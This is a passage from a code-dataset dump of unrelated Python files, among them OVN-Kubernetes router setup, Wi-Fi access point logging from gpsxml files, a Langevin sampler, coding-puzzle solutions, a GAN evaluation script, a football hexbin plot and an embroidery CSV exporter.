cfg.CONF(args=args, project='ovn-k8s')\n\n\ndef _check_vswitch(lswitch_name):\n lswitch_raw_data = ovn.ovn_nbctl('find', 'Logical_Switch',\n 'name=%s' % lswitch_name)\n lswitch_data = ovn.parse_ovn_nbctl_output(lswitch_raw_data)\n if len(lswitch_data) > 1:\n LOG.warn(\"I really was not expecting more than one switch... I'll \"\n \"pick the first, there's a %.2f\\% chance I'll get it right\" %\n (100 / len(lswitch_data)))\n if lswitch_data:\n lswitch_data = lswitch_data[0]\n LOG.debug(\"OVN Logical Switch for K8S host found. Skipping creation\")\n return lswitch_data\n\n\ndef init_host(host_name, host_subnet):\n \"\"\"Initializes a host adding it to the logical topology\"\"\"\n # Check for logical router, if not found create one\n lrouter_name = cfg.CONF.lrouter_name\n lrouter_raw_data = ovn.ovn_nbctl('find', 'Logical_Router',\n 'name=%s' % lrouter_name)\n lrouter_data = ovn.parse_ovn_nbctl_output(lrouter_raw_data)\n if len(lrouter_data) > 1:\n LOG.warn(\"I really was not expecting more than one router... I'll \"\n \"pick the first, there's a %.2f\\% chance I'll get it right\",\n (100 / len(lrouter_data)))\n if lrouter_data:\n lrouter_data = lrouter_data[0]\n LOG.debug(\"Logical router for K8S networking found. \"\n \"Skipping creation\")\n else:\n LOG.debug(\"Creating Logical Router for K8S networking with name:%s\",\n lrouter_name)\n output = ovn.ovn_nbctl('create', 'Logical_Router',\n 'name=%s' % lrouter_name)\n LOG.debug(\"Will use OVN Logical Router:%s\", output)\n # Check for host logical switch. If not found create one\n lswitch_name = host_name\n LOG.info(\"OVN lswitch for the host: %s\", lswitch_name)\n lswitch_data = _check_vswitch(lswitch_name)\n if lswitch_data:\n LOG.debug(\"OVN Logical Switch for K8S host found. Skipping creation\")\n else:\n LOG.debug(\"Creating LogicalSwitch for K8S host with name: %s\",\n lswitch_name)\n ovn.ovn_nbctl('ls-add', lswitch_name)\n\n # Check for logical router port connecting local logical switch to\n # kubernetes router.\n # If not found create one, and connect it to both router and switch\n lrp_raw_data = ovn.ovn_nbctl('find', 'Logical_Router_port',\n 'name=%s' % lswitch_name)\n lrp_data = ovn.parse_ovn_nbctl_output(lrp_raw_data)\n if len(lrp_data) > 1:\n LOG.warn(\"I really was not expecting more than one router port... \"\n \"I'll pick the first, there's a %.2f\\% chance I'll get it \"\n \"right\", (100 / len(lrp_data)))\n if lrp_data:\n lrp_data = lrp_data[0]\n LOG.debug(\"OVN logical router port for K8S host found.\"\n \"Skipping creation\")\n # TODO: worry about changes in IP address and subnet\n else:\n lrp_mac = utils.generate_mac()\n cidr = netaddr.IPNetwork(host_subnet)\n ip_address = netaddr.IPAddress(cidr.first + 1)\n lrp_uuid = ovn.ovn_nbctl('--', '--id=@lrp', 'create',\n 'Logical_Router_port',\n 'name=%s' % lswitch_name,\n 'network=%s/%s' % (ip_address,\n cidr.prefixlen),\n 'mac=\"%s\"' % lrp_mac, '--', 'add',\n 'Logical_Router', lrouter_name, 'ports',\n '@lrp', '--', 'lsp-add',\n lswitch_name, 'rp-%s' % lswitch_name)\n ovn.ovn_nbctl('set', 'Logical_Switch_port', 'rp-%s' % lswitch_name,\n 'type=router', 'options:router-port=%s' % lswitch_name,\n 'addresses=\"%s\"' % lrp_mac)\n LOG.debug(\"Configured logical router port: %s\", lrp_uuid)\n","sub_path":"ovn_k8s/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":5020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"637708609","text":"#!/usr/bin/env python\nimport re\nimport sys\n\nclass AccessPoint:\n\t\"\"\"\n\thold access point data and gps coords\n\t\"\"\"\n\n\tdef __init__(self, bssid):\n\t\t#capture ID and starting info\n\t\tself.bssid = bssid\n\t\t\n\t\t#create arrays to hold lat/long/sig strength\n\t\tself.lat_a = []\n\t\tself.lon_a = []\n\t\tself.strength = []\n\n\tdef get_bssid(self):\n\t\t\"\"\"return bssid of access point\"\"\"\n\t\tif self.bssid:\n\t\t\treturn self.bssid\n\t\telse:\n\t\t\treturn -1\n\n\tdef update(self, lat_u, lon_u, dbm_u):\n\t\t\"\"\"update access point's lat/long/signal strength\n\t\t\t:param lat_u: latitude update\n\t\t\t:param lon_u: longitude update\n\t\t\t:param dbm_u: signal strength update\n\t\t\"\"\"\n\t\tself.lat_a.append(lat_u)\n\t\tself.lon_a.append(lon_u)\n\t\tself.strength.append(dbm_u)\n\n\tdef get_current_lat(self):\n\t\t\"\"\":returns: last recorded latitude of access point\"\"\"\n\t\tif self.lat_a[-1]:\n\t\t\treturn self.lat_a[-1]\n\t\telse:\n\t\t\treturn -1\n\n\tdef get_current_lon(self):\n\t\t\"\"\":returns: last recorded longitude of access point\"\"\"\n\t\tif self.lon_a[-1]:\n\t\t\treturn self.lon_a[-1]\n\t\telse:\n\t\t\treturn -1\n\n\tdef get_current_strength(self):\n\t\t\"\"\":returns: last recorded signal strength of access point\"\"\"\n\t\tif self.strength[-1]:\n\t\t\treturn self.strength[-1]\n\t\telse:\n\t\t\treturn -1\n\ndef ap_exists(bssid, ap_list):\n\t\"\"\"check if ap object is in master list of AccessPoints\n\t\t:param bssid: access point BSSID from .gpsxml FILE\n\t\t:param ap_list: master list of APs to check against\n\t\t:returns: boolean value - False if AP is not in list/True if Ap is in list\n\t\"\"\"\n\tsize = len(ap_list)\n\n\tif size > 0:\n\t\tfor x in range(size):\n\t\t\tif bssid == ap_list[x].get_bssid():\n\t\t\t\treturn True\n\telse:\n\t\treturn False\n\n\treturn False\n\ndef inflate_ap(ap, line):\n\t\"\"\"pull data from gpsxml file and add to new AccessPoint object\n\t\t:param ap: AccessPoint object\n\t\t:param line: next line in gpsxml file to pull data from\n\t\t:returns: AccessPoint object with initial location/signal data\n\t\"\"\"\n\tlat = re.search(lat_re,line)\n\tlat = lat.group(0)[5:-1]\n\n\tlon = re.search(lon_re, line)\n\tlon= lon.group(0)[5:-1]\n\n\tsig = re.search(sig_re, line)\n\tsig = sig.group(0)[12:-1]\n\n\tap.update(lat, lon, sig)\n\n\treturn ap\n\n\n\n#build out regular expressions for each piece of data in the gpsxml file\nbssid_re = '(bssid=\"([0-9A-F]{2}[:]){5}([0-9A-F]{2})\")'\nlat_re = '(lat=\"([0-9]{2})[.]([0-9]{6})\")'\nlon_re = '(lon=\"[-?]([0-9]{2}[0-9]?)[.]([0-9]{6})\")'\nsig_re = '(signal_dbm=\"[-]([0-9]{2})\")'\n\n#open gpsxml file (how to do this dynamically?) - could just run through periodically\ntry:\n\tf = open('gpstest', 'r')\nexcept IOError:\n\tprint(\"DEBUG: ERROR - COULD NOT READ FILE\")\n\tsys.exit()\n\n#initalize global list of access point objects\nap_list = []\n\n#should this be a function? will it be run often? how to pull updates from file continuiously? \nfor line in f:\n\tbssid = re.search(bssid_re, line)\n\tif bssid:\n\t\tbssid = bssid.group(0)[7:-1]\n\t\t#filter out probe packets\n\t\tif not bssid == '00:00:00:00:00:00':\n\t\t\tif not ap_exists(bssid, ap_list):\n\t\t\t\t#create new access point\n\t\t\t\tpt = AccessPoint(bssid)\n\t\t\t\t#add to global AccessPoint object list\n\t\t\t\tap_list.append(inflate_ap(pt, line))\n\nfor x in range(len(ap_list)):\n\tprint(ap_list[x].get_bssid())\n\tprint(ap_list[x].get_current_strength())\n\n\n\n#for line in f:\n\n\n#ap = AccessPoint(match)\n\n#print(ap.get_bssid())\n\n\n\n\n","sub_path":"final_proj/testbed_trilat.py","file_name":"testbed_trilat.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"507770282","text":"from Algorithm.RAISLD import Alg_RAISLD\nfrom Load_Dataset import load_dataset,load_ref\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\n\ndef _RAISLDe_it(trainSet,ref,save_path,**kw):\n x_list=[]\n train_num=trainSet.shape[0]\n dim=trainSet.shape[1]\n inner_loops=round(train_num/kw['batchSize'])\n model=Alg_RAISLD(\n np.zeros(dim),\n train_num,kw['alpha'],kw['d'])\n curr_iter_count=0\n model.initialize(trainSet)\n for epoch in tqdm(range((int)(kw['num_epochs']))):\n for i in range(inner_loops):\n curr_iter_count+=1\n model.Sample_Datas(\n trainSet,\n train_num,\n kw['batchSize'],\n model.p)\n model.Grads_Calc()\n model.average_grads()\n grad=model.grad_avg\n model.update()\n #eta=kw['lr_a']*(round(model.t.item())+kw['lr_b'])**(-kw['lr_gamma'])*model.r.item()\n eta=kw['lr_a']*(curr_iter_count+kw['lr_b'])**(-kw['lr_gamma'])\n noise=np.random.normal(0,1,dim)*np.sqrt(2*eta)\n model.curr_x=model.curr_x-grad*eta+noise\n x_list.append(model.curr_x)\n x_list=np.array(x_list).astype(np.float32)\n model.save_figure(x_list,ref,save_path,'RAISLDe')\n np.save(save_path,x_list)\n\ndef RAISLDe_sample(**kw):\n # Creat the save folder and name for result\n save_name='RAISLDe'+' '+\\\n 'lr[{:.2e},{:.2f},{:.2f}] alpha[{:.2f}] d[{:.1f}]'.format(\\\n kw['lr_a'],kw['lr_b'],kw['lr_gamma'],kw['alpha'],kw['d'])\n if not os.path.exists(kw['save_folder']+'RAISLDe'):\n os.makedirs(kw['save_folder']+'RAISLDe')\n save_path=kw['save_folder']+'RAISLDe/'+save_name\n # Print information before train\n print(save_name)\n # Set the random seed\n np.random.seed(kw['random_seed'])\n # Load DataSet as sparse matrix\n trainSet=load_dataset()\n ref=load_ref()\n # Main function\n _RAISLDe_it(trainSet,ref,save_path,**kw)\n","sub_path":"graduation_project/GM/Train/RAISLDe.py","file_name":"RAISLDe.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"233490805","text":"class Solution(object):\n def findLexSmallestString(self, s, a, b):\n \"\"\"\n :type s: str\n :type a: int\n :type b: int\n :rtype: str\n \"\"\"\n n = len(s)\n nums = []\n for c in s:\n nums.append(ord(c) - ord('0'))\n \n # enumerate rotate\n memo = set()\n best = s\n idx = 0\n for i in range(n):\n idx = (i * b) % n\n if idx in memo:\n break\n # change odd only to get min\n besto = nums[1]\n for offset in range(10):\n besto = min(besto, (nums[1] + offset * a) % 10)\n offset = besto - nums[1]\n for j in range(n):\n if j % 2 == 1:\n nums[j] = (nums[j] + offset) % 10\n print(nums)\n nums_ = [str(i) for i in nums]\n tmp = \"\".join(nums_)\n best = min(best, tmp)\n print(i, tmp, best)\n memo.add(idx)\n nums = nums[b:] + nums[:b]\n\n return best\n \n\nif __name__ == \"__main__\":\n a = Solution()\n print(a.findLexSmallestString(\"43987654\", 7, 3))","sub_path":"python/leetcode/1625_lexico.py","file_name":"1625_lexico.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"590240562","text":"# ввод размерности матрицы\ns = input().split()\nrow, col = int(s[0]), int(s[1])\n\n# формирование нулевой матрицы введенной размерности\nmat = [[0] * col for _ in range(row)]\n\nst = 'up'\nn1 = 0\ni = 1\n\nwhile i < row * col:\n \n if st == 'up':\n for j in range(n1, col - n1 - 1):\n if mat[n1][j] == 0:\n mat[n1][j] = i\n i += 1\n st = 'right'\n \n if st == 'right':\n for j in range(n1, row - n1 - 1):\n if mat[j][col - n1 - 1] == 0:\n mat[j][col - n1 - 1] = i\n i += 1\n st = 'down'\n \n if st == 'down':\n for j in range(n1, col - n1 - 1):\n if mat[row - n1 - 1][col - j - 1] == 0:\n mat[row - n1 - 1][col - j - 1] = i\n i += 1\n st = 'left' \n \n if st == 'left':\n for j in range(n1, row - n1 - 1):\n if mat[row - j - 1][n1] == 0:\n mat[row - j - 1][n1] = i\n i += 1\n st = 'up'\n n1 += 1\nif row * col % 2 == 1 and mat[row // 2][col // 2] == 0:\n mat[row // 2][col // 2] = row * col \n \n\n# вывод матрицы\n[print(*i) for i in mat]\n","sub_path":"Python_advanced/spiral_matrix.py","file_name":"spiral_matrix.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"440855937","text":"\nn_features = 200\nlatent_dim=100\n\n\n\nimport scipy.io as sio\n\n\nimport numpy as np\nnp.random.seed(666)\nimport tensorflow as tf\n#from tensorflow.math import reduce_sum\n#import tensorflow.math\nimport os\nfrom keras.backend.tensorflow_backend import set_session\nconfig = tf.ConfigProto()\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0\"\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.5\nset_session(tf.Session(config=config))\n\n\nimport keras\nfrom keras.datasets import mnist\nfrom keras.layers.merge import _Merge\nfrom keras.layers import Input, Dense, Reshape, Flatten, Dropout, Average\nfrom keras.layers import BatchNormalization, Activation, ZeroPadding2D,Concatenate\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers.convolutional import UpSampling2D, Conv2D\nfrom keras.models import Sequential, Model\nfrom keras.optimizers import RMSprop,SGD, Adam\nfrom functools import partial\nfrom keras import layers, models\nfrom keras.models import load_model\n\n\n\ndef loadData():\n \n msdata = np.load('/home/SharedData/saurabh/HS/multispectralData.npy')\n pcdata = np.load('/home/SharedData/saurabh/HS/panchromaticData.npy')\n labels = np.load('/home/SharedData/saurabh/HS/labelsData.npy')\n \n return msdata, pcdata, labels\n\n\n\n\n\n\nmsdata, pcdata, gt = loadData()\n\nmsdata=np.transpose(msdata,(0,2,3,1))\npcdata=np.transpose(pcdata,(0,2,3,1))\ngt=np.transpose(gt,(1,0))\ngt=np.ravel(gt)\n\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import OneHotEncoder\n\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(gt)\n\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nY = onehot_encoder.fit_transform(\n integer_encoded)\n\n\n#preprocessing b/w -1 and +1\n\nmsdata = msdata.astype(np.float32)\npcdata = pcdata.astype(np.float32)\n\nit2 = 5000\nfor it1 in range(0,80000,5000):\n\n print(it1,it2)\n msdata[it1:it2,:,:,:] = (msdata[it1:it2,:,:,:] - msdata[it1:it2,:,:,:].mean(axis=(0, 1, 2), keepdims=True))/(msdata[it1:it2,:,:,:].std(axis=(0, 1,2), keepdims=True))\n pcdata[it1:it2,:,:,:] = (pcdata[it1:it2,:,:,:] - pcdata[it1:it2,:,:,:].mean(axis=(0,1, 2), keepdims=True))/(pcdata[it1:it2,:,:,:].std(axis=(0,1,2), keepdims=True))\n it2 += 5000\n\nprint(msdata.shape, pcdata.shape)\n\n#from sklearn.model_selection import train_test_split\n\n#(X_train_one, Xtest_one, Y, Ytest) = train_test_split(msdata, gt, random_state = 666, test_size= 0.75)\n#(X_train_two, Xtest_two, Y, Ytest) = train_test_split(pcdata, gt, random_state = 666, test_size = 0.75 )\n\nclassifier = load_model('/home/SharedData/Avinandan/TeacherStudentExperiments/MultiModal/twostream.h5')\nstreamone = Model(inputs=classifier.get_layer('MultiModal_Input_1').input,\n outputs=classifier.get_layer('MultiModal_Output_1').output)\nstreamtwo = Model(inputs=classifier.get_layer('Multimodal_Input_2').input,\n outputs=classifier.get_layer('MultiModal_Output_2').output)\n#generator = load_model('/home/SharedData/Avinandan/Semi Supervised GAN/2N/generator2N.h5')\n#discriminator = load_model('/home/SharedData/Avinandan/Semi Supervised GAN/2N/discriminator.h5')\n\nprint(classifier.summary())\n \n\nfinalclassifierinput = Input(shape=(2*n_features,))\n\nfinalclassifier = finalclassifierinput\n\nfor layer in classifier.layers[35:]:\n finalclassifier = layer(finalclassifier)\n\n# create the model\n#new_model = Model(layer_input, x)\n\nfinalclassifier = Model(inputs=finalclassifierinput,\n outputs=finalclassifier)\nprint(finalclassifier.summary())\n\n\ndata1 = streamone.predict(msdata)\ndata2 = streamtwo.predict(pcdata)\n\n\ndata=np.concatenate((data1, data2), axis = 1)\n\nrandom_latent_vectors = np.random.normal(0,1, size = (data1.shape[0],latent_dim)) #sample random points\n\n#print(random_latent_vectors.shape,data2.shape,data1.shape)\n\n\ntopvalid = 0\ntoploss = 5000\n\n#610\n#2025 98.28\n#2517 98.51\n\nfor x in range(4815,4845,1):\n\n generator = load_model('/home/SharedData/Avinandan/TeacherStudentExperiments/MultiModal/models/generator-{0}.h5'.format(x))\n #generator = load_model('/home/SharedData/Avinandan/Semi Supervised GAN/2N/generator2N.h5')\n #latent, conditional\n generated_images = generator.predict([random_latent_vectors,data2])\n #generated_images = generator.predict([random_latent_vectors,data1],verbose=1)\n\n #generated_images = np.reshape(generated_images,(,100))\n #print(generated_images.shape)\n\n X_MultiModal1 = np.concatenate((generated_images,data2),axis=1)\n\n #print(X_MultiModal1.shape,Y.shape)\n\n from sklearn.model_selection import train_test_split\n\n\n #(Xtrain_MultiModal, Xtest_MultiModal,Ytrain_MultiModal,Ytest_MultiModal,) = train_test_split(X_MultiModal,Y_MultiModal, random_state = 666)\n\n #(Xtrain_MultiModal, Xtest_MultiModal,Ytrain_MultiModal,Ytest_MultiModal,) = train_test_split(data,Y, random_state = 666)\n\n #(generated_images_train, generated_images_test,Ytrain_MultiModal,Ytest_MultiModal,) = train_test_split(generated_images,Y, random_state = 666)\n #(secondstream_train, secondstream_test,Ytrain_MultiModal,Ytest_MultiModal,) = train_test_split(data2,Y, random_state = 666)\n #(firststream_train, firststream_test,Ytrain_MultiModal,Ytest_MultiModal,) = train_test_split(data1,Y, random_state = 666)\n\n #results = onestream.evaluate([Xtest_MultiModal, Xtest_MultiModal],Ytest_MultiModal, batch_size=32)\n\n #print('test loss, test acc:', results)\n\n (Xtrain_MultiModal1, Xtest_MultiModal1,Ytrain_MultiModal,Ytest_MultiModal,) = train_test_split(X_MultiModal1,Y, random_state = 666, test_size = 0.75)\n\n sgd = SGD(lr=0.0001, momentum=0.9, decay=1e-6)\n finalclassifier.compile(optimizer=sgd, loss='categorical_crossentropy', metrics=['accuracy'])\n\n #results = finalclassifier.evaluate(Xtest_MultiModal,Ytest_MultiModal, batch_size=32)\n results1 = finalclassifier.evaluate(Xtest_MultiModal1,Ytest_MultiModal, batch_size=32)\n\n print(\" \")\n #print('REAL DATA %d test loss, test acc:', results)\n print('EPOCH GENERATED DATA test loss, test acc:',x, results1)\n\n if results1[1]> topvalid and results1[0]< toploss:\n topvalid = results1[1]\n toploss = results1[0]\n index = x\n\n\nprint(\"%d EPOCH, %f acc\",index,topvalid)\n\n\n\n\n\n\n\n\n\n","sub_path":"MultiModal/testmodelsone.py","file_name":"testmodelsone.py","file_ext":"py","file_size_in_byte":6307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"47407668","text":"\"\"\"\n===========\nHexbin plot\n===========\n\nThis example shows how to plot the location of events occurring in a match\nusing hexbins.\n\"\"\"\nfrom urllib.request import urlopen\n\nfrom matplotlib.colors import LinearSegmentedColormap\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nfrom highlight_text import ax_text\n\nfrom mplsoccer import VerticalPitch, add_image, FontManager, Sbopen\n\n##############################################################################\n# Load the first game that Messi played as a false-9 and the match before.\nparser = Sbopen()\ndf_false9 = parser.event(69249)[0] # 0 index is the event file\ndf_before_false9 = parser.event(69251)[0] # 0 index is the event file\n# filter messi's actions (starting positions)\ndf_false9 = df_false9.loc[df_false9.player_id == 5503, ['x', 'y']]\ndf_before_false9 = df_before_false9.loc[df_before_false9.player_id == 5503, ['x', 'y']]\n\n##############################################################################\n# Create a custom colormap.\n# Note see the `custom colormaps\n# `_\n# example for more ideas.\nflamingo_cmap = LinearSegmentedColormap.from_list(\"Flamingo - 10 colors\",\n ['#e3aca7', '#c03a1d'], N=10)\n\n##############################################################################\n# Plot Messi's first game as a false-9.\npitch = VerticalPitch(line_color='#000009', line_zorder=2, pitch_color='white')\nfig, ax = pitch.draw(figsize=(4.4, 6.4))\nhexmap = pitch.hexbin(df_false9.x, df_false9.y, ax=ax, edgecolors='#f4f4f4',\n gridsize=(8, 8), cmap=flamingo_cmap)\n\n##############################################################################\n# Load a custom font.\nURL = 'https://raw.githubusercontent.com/google/fonts/main/apache/roboto/Roboto%5Bwdth,wght%5D.ttf'\nURL2 = 'https://raw.githubusercontent.com/google/fonts/main/apache/robotoslab/RobotoSlab%5Bwght%5D.ttf'\nrobotto_regular = FontManager(URL)\nrobboto_bold = FontManager(URL2)\n\n##############################################################################\n# Load images.\n\n# Load the StatsBomb logo and Messi picture\nMESSI_URL = 'https://upload.wikimedia.org/wikipedia/commons/b/b8/Messi_vs_Nigeria_2018.jpg'\nmessi_image = Image.open(urlopen(MESSI_URL))\nSB_LOGO_URL = ('https://raw.githubusercontent.com/statsbomb/open-data/'\n 'master/img/SB%20-%20Icon%20Lockup%20-%20Colour%20positive.png')\nsb_logo = Image.open(urlopen(SB_LOGO_URL))\n\n##############################################################################\n# Plot the chart again with a title.\n# We will use mplsoccer's grid function to plot a pitch with a title and endnote axes.\n\nfig, axs = pitch.grid(figheight=10, title_height=0.08, endnote_space=0,\n title_space=0,\n # Turn off the endnote/title axis. I usually do this after\n # I am happy with the chart layout and text placement\n axis=False,\n grid_height=0.82, endnote_height=0.03)\nhexmap = pitch.hexbin(df_false9.x, df_false9.y, ax=axs['pitch'], edgecolors='#f4f4f4',\n gridsize=(8, 8), cmap=flamingo_cmap)\naxs['endnote'].text(1, 0.5, '@your_twitter_handle', va='center', ha='right', fontsize=15,\n fontproperties=robotto_regular.prop)\naxs['title'].text(0.5, 0.7, \"Lionel Messi's Actions\", color='#000009',\n va='center', ha='center', fontproperties=robotto_regular.prop, fontsize=30)\naxs['title'].text(0.5, 0.25, \"First game as a false nine\", color='#000009',\n va='center', ha='center', fontproperties=robotto_regular.prop, fontsize=20)\nax_sb_logo = add_image(sb_logo, fig,\n # set the left, bottom and height to align with the endnote\n left=axs['endnote'].get_position().x0,\n bottom=axs['endnote'].get_position().y0,\n height=axs['endnote'].get_position().height)\n\n##############################################################################\n# Plot Messi's actions in the matches before and after becoming a false-9.\n# We will use mplsoccer's grid function, which is a convenient way to plot a grid\n# of pitches with a title and endnote axes.\n\nfig, axs = pitch.grid(ncols=2, axis=False, endnote_height=0.05)\nhexmap_before = pitch.hexbin(df_before_false9.x, df_before_false9.y, ax=axs['pitch'][0],\n edgecolors='#f4f4f4',\n gridsize=(8, 8), cmap='Reds')\nhexmap2_after = pitch.hexbin(df_false9.x, df_false9.y, ax=axs['pitch'][1], edgecolors='#f4f4f4',\n gridsize=(8, 8), cmap='Blues')\nax_sb_logo = add_image(sb_logo, fig,\n # set the left, bottom and height to align with the endnote\n left=axs['endnote'].get_position().x0,\n bottom=axs['endnote'].get_position().y0,\n height=axs['endnote'].get_position().height)\nax_messi = add_image(messi_image, fig, interpolation='hanning',\n # set the left, bottom and height to align with the title\n left=axs['title'].get_position().x0,\n bottom=axs['title'].get_position().y0,\n height=axs['title'].get_position().height)\n\n# titles using highlight_text and a google font (Robotto)\n\nTITLE_STR1 = 'The Evolution of Lionel Messi'\nTITLE_STR2 = 'Actions in the match and\\n becoming a False-9'\ntitle1_text = axs['title'].text(0.5, 0.7, TITLE_STR1, fontsize=28, color='#000009',\n fontproperties=robotto_regular.prop,\n ha='center', va='center')\nhighlight_text = [{'color': '#800610', 'fontproperties': robboto_bold.prop},\n {'color': '#08306b', 'fontproperties': robboto_bold.prop}]\nax_text(0.5, 0.3, TITLE_STR2, ha='center', va='center', fontsize=18, color='#000009',\n fontproperties=robotto_regular.prop, highlight_textprops=highlight_text, ax=axs['title'])\n\n# sphinx_gallery_thumbnail_path = 'gallery/pitch_plots/images/sphx_glr_plot_hexbin_003.png'\n\n# Messi Photo from: https://en.wikipedia.org/wiki/Lionel_Messi#/media/File:Messi_vs_Nigeria_2018.jpg\n# License: https://creativecommons.org/licenses/by-sa/3.0/;\n# Creator: Кирилл Венедиктов\n\nplt.show() # If you are using a Jupyter notebook you do not need this line\n","sub_path":"examples/pitch_plots/plot_hexbin.py","file_name":"plot_hexbin.py","file_ext":"py","file_size_in_byte":6477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"430380245","text":"def reader(file):\r\n f_out = file[:-2] + 'out'\r\n f = open(file,'r')\r\n T = int(f.readline())\r\n cases = []\r\n for t in range(T):\r\n KCS = f.readline()\r\n KCS_list = KCS.split(' ')\r\n cases.append(KCS_list)\r\n return cases, f_out\r\n\r\ndef solver(cases, f_out):\r\n f_out = open(f_out,'w')\r\n for c in range(len(cases)):\r\n case = cases[c]\r\n K = int(case[0]) \r\n C = int(case[1])\r\n result = [i*K**(C-1)+1 for i in range(K)]\r\n #ZAMIENIC RESULT W STRINGA\r\n string = ''\r\n for i in result:\r\n string += str(i) + ' '\r\n print(\"Case #{}: {}\".format(c + 1, string), file = f_out)\r\n f_out.close()\r\n\r\ndef main():\r\n cases, f_out = reader('D-small-attempt0.in')\r\n solver(cases, f_out)\r\n \r\nmain()\r\n","sub_path":"codes/CodeJamCrawler/16_0_4/marcinowski/Fractiles_2.py","file_name":"Fractiles_2.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"598503619","text":"'''problem 7\n\n\nBy listing the first six prime numbers: 2, 3, 5, 7, 11, and 13, we can see that the 6th prime is 13.\n\nWhat is the 10 001st prime number?\n'''\n\nimport time\nstart_time = time.time()\n\n\nprimes = [2]\nchecked = [2]\ncomposites = []\n\n#print(len(primes))\n\npin = 3\n\nwhile len(primes)<10001:\n for p in range(0,len(primes)-1):\n if pin%primes[p] == 0:\n composites.append(pin)\n # if pin in composites:\n # continue\n if pin not in composites:\n primes.append(pin)\n if len(primes)%1000==0:\n print('Passing prime # {}'.format(len(primes)))\n print('Computation has taken {} seconds so far.'.format(time.time()-start_time))\n print('Prime density: {}'.format(len(primes)/pin))\n pin+=2\n composites = []\n\nprint('The {}th prime is {}.'.format(len(primes),primes[len(primes)-1]))\nprint('Computation has taken {} seconds so far.'.format(time.time()-start_time))\nprint('Prime density: {}'.format(len(primes)/primes[len(primes)-1]))","sub_path":"problem_007.py","file_name":"problem_007.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"488685385","text":"from .EmbConstant import *\r\nfrom .WriteHelper import write_string_utf8\r\nfrom .PecGraphics import get_graphic_as_string\r\nimport math\r\n\r\nSTRIP_SPEEDS = False\r\nSEQUIN_CONTINGENCY = CONTINGENCY_SEQUIN_UTILIZE\r\nMAX_JUMP_DISTANCE = 121\r\nMAX_STITCH_DISTANCE = 121\r\n\r\n\r\ndef csv(f, values):\r\n string = \"\"\r\n for v in values:\r\n if len(string) > 0:\r\n string += ','\r\n string += ('\\\"%s\\\"' % v)\r\n write_string_utf8(f, string + \"\\n\")\r\n\r\n\r\ndef distance(dx, dy):\r\n dx *= dx\r\n dy *= dy\r\n return math.sqrt(dx + dy)\r\n\r\n\r\ndef angle(dx, dy):\r\n tau = math.pi * 2\r\n angle = math.atan2(dy, dx)\r\n angle += tau / float(2)\r\n angle /= tau\r\n return angle\r\n\r\n\r\ndef write(pattern, f, settings=None):\r\n names = get_common_name_dictionary()\r\n\r\n deltas = settings is not None and \"deltas\" in settings\r\n displacement = settings is not None and \"displacement\" in settings\r\n\r\n extends = pattern.extends()\r\n width = extends[2] - extends[0]\r\n height = extends[3] - extends[1]\r\n\r\n csv(f, ('#', '[VAR_NAME]', '[VAR_VALUE]'))\r\n count_stitches = pattern.count_stitches()\r\n csv(f, ('>', 'STITCH_COUNT:', str(count_stitches)))\r\n count_threads = pattern.count_color_changes()\r\n csv(f, ('>', 'THREAD_COUNT:', str(count_threads)))\r\n csv(f, ('>', 'EXTENTS_LEFT:', str(extends[0])))\r\n csv(f, ('>', 'EXTENTS_TOP:', str(extends[1])))\r\n csv(f, ('>', 'EXTENTS_RIGHT:', str(extends[2])))\r\n csv(f, ('>', 'EXTENTS_BOTTOM:', str(extends[3])))\r\n csv(f, ('>', 'EXTENTS_WIDTH:', str(width)))\r\n csv(f, ('>', 'EXTENTS_HEIGHT:', str(height)))\r\n\r\n stitch_counts = {}\r\n for s in pattern.stitches:\r\n command = s[2]\r\n if command in stitch_counts:\r\n stitch_counts[command] += 1\r\n else:\r\n stitch_counts[command] = 1\r\n\r\n if len(stitch_counts) != 0:\r\n for the_key, the_value in stitch_counts.items():\r\n try:\r\n name = \"COMMAND_\" + names[the_key]\r\n except (IndexError, KeyError):\r\n name = \"COMMAND_UNKNOWN_\" + str(the_key)\r\n csv(f, (\r\n '>',\r\n name,\r\n str(the_value)\r\n ))\r\n\r\n write_string_utf8(f, \"\\n\")\r\n\r\n if len(pattern.extras) > 0:\r\n csv(f, (\r\n '#',\r\n '[METADATA_NAME]',\r\n '[METADATA]'\r\n ))\r\n for the_key, the_value in pattern.extras.items():\r\n if isinstance(the_value, tuple):\r\n the_value = \"\\n\" + get_graphic_as_string(the_value)\r\n csv(f, (\r\n '@',\r\n str(the_key),\r\n str(the_value)\r\n ))\r\n write_string_utf8(f, \"\\n\")\r\n\r\n if len(pattern.threadlist) > 0:\r\n csv(f, (\r\n '#',\r\n '[THREAD_NUMBER]',\r\n '[HEX_COLOR]',\r\n '[DESCRIPTION]',\r\n '[BRAND]',\r\n '[CATALOG_NUMBER]',\r\n '[DETAILS]',\r\n '[WEIGHT]'\r\n ))\r\n for i, thread in enumerate(pattern.threadlist):\r\n csv(f, (\r\n '$',\r\n str(i),\r\n 